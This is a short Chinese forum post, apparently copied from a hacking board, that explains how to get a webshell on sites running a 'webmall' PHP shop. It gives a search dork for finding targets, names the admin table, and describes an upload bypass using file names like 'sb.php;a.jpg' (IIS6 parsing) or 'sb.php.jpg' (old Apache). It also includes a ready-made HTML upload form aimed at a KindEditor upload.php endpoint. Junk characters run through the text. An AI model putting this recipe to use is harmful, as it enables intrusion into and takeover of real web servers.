关键字:inurl:webmall/detail.php?id
' C3 Y1 u1 s8 E: D0 b. }7 B. T- X% n* W7 ^
数据表:pwn_base_admin+ n- o; P' p0 Q0 ?7 O
+ }# ?1 d E' j5 I) {1 {( m) c
关于拿shell( J5 ^, h% n" ?- Z$ z
/ F% e4 }# ]6 u% O: W J* b: U
首先登录后台admin.php
\0 n# \$ Q/ B; ~* D6 B " C; e" ^) M. }5 ?+ _
看了upload.php源码,分析了一个下午,然后大约是明白了虽然上传那里只允许上传gif,jpg,png,bmp四种文件,但是并没有对文件名做限制。8 Z) W& Z5 r9 L8 \5 b- o8 `* Q9 f8 |
换句话说,sb.php;a.jpg这样的文件也是允许的,只要服务器是IIS6就拿到webshel,低版本的apache可以试着重命名为sb.php.jpg
" f% {- x# z) E$ |. `- e然后搞完了才发现,这里的比我的更精简,我那个蛋疼,膜拜下三石,然后就借用了,我的开始和他的一样是采取全部源码的,然后发现了更精简的 C6 K* E" ^5 V9 ^8 X0 y! U" c
<form name="uploadForm" method="post" enctype="multipart/form-data" action="http://xxx.com/kedit/upload_cgi/upload.php"> ) X2 a2 j2 r$ r4 E
<input type="text" name="fileName" value="sb.php;a.jpg" />
& X8 X3 F$ S! }' [" Z2 ]$ w9 K9 Z<input type="hidden" name="attachPath" value="news/pics/" />
3 S& T0 Z4 H2 s% X5 f6 t<input type="file" name="fileData" size="14" /></td> ) y" D: D9 Y( ?3 j$ F/ h; `6 E# {
<input type="submit" name="button" value="确定" /> 1 H0 s$ H- b/ _9 Z# m# ]0 ~
</form>
0 e1 B0 n( T+ U$ s/ T2 h. h, a : C8 h+ D6 K1 l' V$ t
首先登录后台,然后把上面的文件保存为xx.html,修改action,然后再上传,如果为iis6就在上传了查看源码就好了。* f# p1 ~/ r% u$ d; ~! Z/ J
) n6 W5 e* U, E1 G! n: U6 M
|